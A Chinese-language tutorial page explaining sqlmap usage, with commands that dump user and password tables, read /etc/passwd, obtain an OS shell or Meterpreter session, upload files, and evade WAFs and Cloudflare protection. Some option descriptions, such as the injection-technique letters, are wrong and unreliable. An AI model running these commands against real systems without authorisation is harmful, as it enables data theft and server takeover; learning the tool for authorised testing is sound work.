菜鸟科技网

sqlmap如何执行系统命令?

sqlmap 是一款开源的自动化 SQL 注入工具,广泛用于渗透测试和安全评估,它支持多种数据库类型,能够自动发现和利用 SQL 注入漏洞,获取数据库信息、执行系统命令甚至完全控制目标服务器,以下是关于 sqlmap 执行命令的详细说明,包括常用参数、实际应用场景及注意事项。

sqlmap如何执行系统命令?-图1
(图片来源网络,侵删)

sqlmap 基础命令结构

sqlmap 的基本命令格式为:sqlmap [选项] 目标URL,目标 URL 可以是 HTTP/HTTPS 协议的地址,也可以是 POST 请求的数据包。

sqlmap -u "http://example.com/page.php?id=1"

上述命令会对 id 参数进行 SQL 注入检测,若目标需要登录或包含复杂请求,可通过 -p 指定参数,或使用 -r 加载请求文件(如 Burp Suite 导出的 HTTP 请求)。

常用参数详解

  1. 目标指定

    • -u--url:直接指定目标 URL,如 -u "http://test.com/vuln.php?id=1"
    • -l:从日志文件(如 Burp 日志)加载目标。
    • -r:从文本文件加载 HTTP 请求(需包含完整请求头)。
    • -g:通过 Google 搜索结果获取目标(需配合 --batch 自动确认)。
  2. 请求参数控制

    sqlmap如何执行系统命令?-图2
    (图片来源网络,侵删)
    • -p:指定测试的参数名,如 -p "id,username"(避免扫描无关参数)。
    • --data:指定 POST 请求数据,如 --data "id=1&submit=submit"
    • --cookie:添加 Cookie 认证,如 --cookie "PHPSESSID=abc123"
    • --user-agent:自定义 User-Agent,如 --user-agent "Mozilla/5.0"
  3. 注入技术选择

    • --technique:指定注入技术,支持 B(Boolean盲注)、Q(时间盲注)、U(Union查询)、T(错误型)、E(堆叠查询)等,如 --technique=BEU
    • --level:设置测试级别(1-5,默认1),级别越高测试越全面(如测试 HTTP 头注入)。
    • --risk:设置风险等级(1-3,默认1),控制 payload 的破坏性。
  4. 数据库指纹识别

    • -f--fingerprint:主动识别数据库类型(如 MySQL、Oracle、PostgreSQL)。
    • -b--banner:获取数据库版本信息。
  5. 数据获取

    • --current-user:获取当前数据库用户。
    • --current-db:获取当前数据库名。
    • --dbs:列出所有数据库。
    • -D --tables:指定数据库的表名,如 -D testdb --tables
    • -T --columns:指定表的列名,如 -T users --columns
    • -C --dump:dump 数据,如 -C "username,password" -D testdb -T users --dump
  6. 操作系统交互

    sqlmap如何执行系统命令?-图3
    (图片来源网络,侵删)
    • --os-shell:尝试获取目标服务器的 OS Shell(需满足特定条件)。
    • --os-pwn:获取图形化 Shell(如 Meterpreter)。
    • --file-read:读取服务器文件,如 --file-read "/etc/passwd"
    • --file-write:上传文件到服务器,如 --file-write "local.txt" --file-dest "/remote.txt"
  7. 其他实用参数

    • --batch:自动确认所有提示(适合非交互式使用)。
    • --tamper:对 payload 进行编码绕过 WAF,如 --tamper "space2comment,randomcase"
    • --proxy:设置代理,如 --proxy "http://127.0.0.1:8080"
    • --threads:多线程加速,如 --threads=10

实际应用场景示例

  1. 检测 GET 请求注入

    sqlmap -u "http://site.com/search.php?id=1" --batch

    自动检测 id 参数是否存在注入,并尝试获取数据库信息。

  2. POST 请求注入

    sqlmap -u "http://site.com/login.php" --data="username=admin&password=test" --level=3

    对 POST 数据中的 usernamepassword 参数进行高级别检测。

  3. 绕过 WAF

    sqlmap -u "http://site.com/index.php?id=1" --tamper "between,randomcase,charencode"

    使用多个编码技术混淆 payload,绕过 Web 应用防火墙。

  4. 批量扫描

    cat targets.txt | sqlmap -m -

    从文件中读取多个目标 URL 进行批量扫描。

注意事项

  1. 法律与道德:sqlmap 仅授权用于合法渗透测试,未经授权使用可能违反法律。
  2. 目标影响:注入操作可能导致数据库损坏或服务中断,需在测试环境中使用。
  3. WAF 绕过:现代 WAF 可能拦截 sqlmap 请求,需结合 --tamper 或调整请求头。
  4. 性能优化:通过 --threads--delay 控制请求频率,避免触发防护机制。

相关操作对比表

操作类型 命令示例 说明
检测注入点 sqlmap -u "http://test.com?id=1" 自动检测参数是否存在 SQL 注入漏洞。
获取数据库版本 sqlmap -u "http://test.com?id=1" --banner 显示目标数据库的版本信息。
列出所有数据库 sqlmap -u "http://test.com?id=1" --dbs 输出目标服务器中的所有数据库名称。
Dump 特定表数据 sqlmap -u "http://test.com?id=1" -D testdb -T users --dump 导出 testdb 数据库中 users 表的所有数据。
读取服务器文件 sqlmap -u "http://test.com?id=1" --file-read "/etc/passwd" 尝试读取目标服务器的 /etc/passwd 文件。
获取 OS Shell sqlmap -u "http://test.com?id=1" --os-shell 尝试在目标服务器上执行系统命令。

相关问答FAQs

Q1: sqlmap 提示 "all parameters appear to not injectable,what's wrong?" 如何解决?
A1: 此错误通常表示未检测到注入点,可能原因包括:

  • 参数名错误:检查 -p 指定的参数是否正确。
  • 数据库类型不匹配:使用 --fingerprint 确认数据库类型。
  • WAF 阻挡:尝试 --tamper 参数或调整请求头(如 --user-agent)。
  • 请求格式问题:使用 -r 加载完整请求文件确保上下文正确。

Q2: 如何利用 sqlmap 绕过 Cloudflare 或其他 CDN 的防护?
A2: 绕过 CDN 防护需结合以下方法:

  • 降低检测频率:使用 --delay 参数增加请求间隔,如 --delay=5
  • 伪造真实请求:通过 --proxy 代理转发请求,或使用 -r 加载包含真实浏览器的请求头(如 RefererAccept-Language)。
  • 随机化参数:使用 --tamper "randomcase,randomcase" 混淆 payload。
  • 手动验证:先通过手动注入确认漏洞点,再用 sqlmap 的 --session 保存会话避免重复检测。
分享:
扫描分享到社交APP
上一篇
下一篇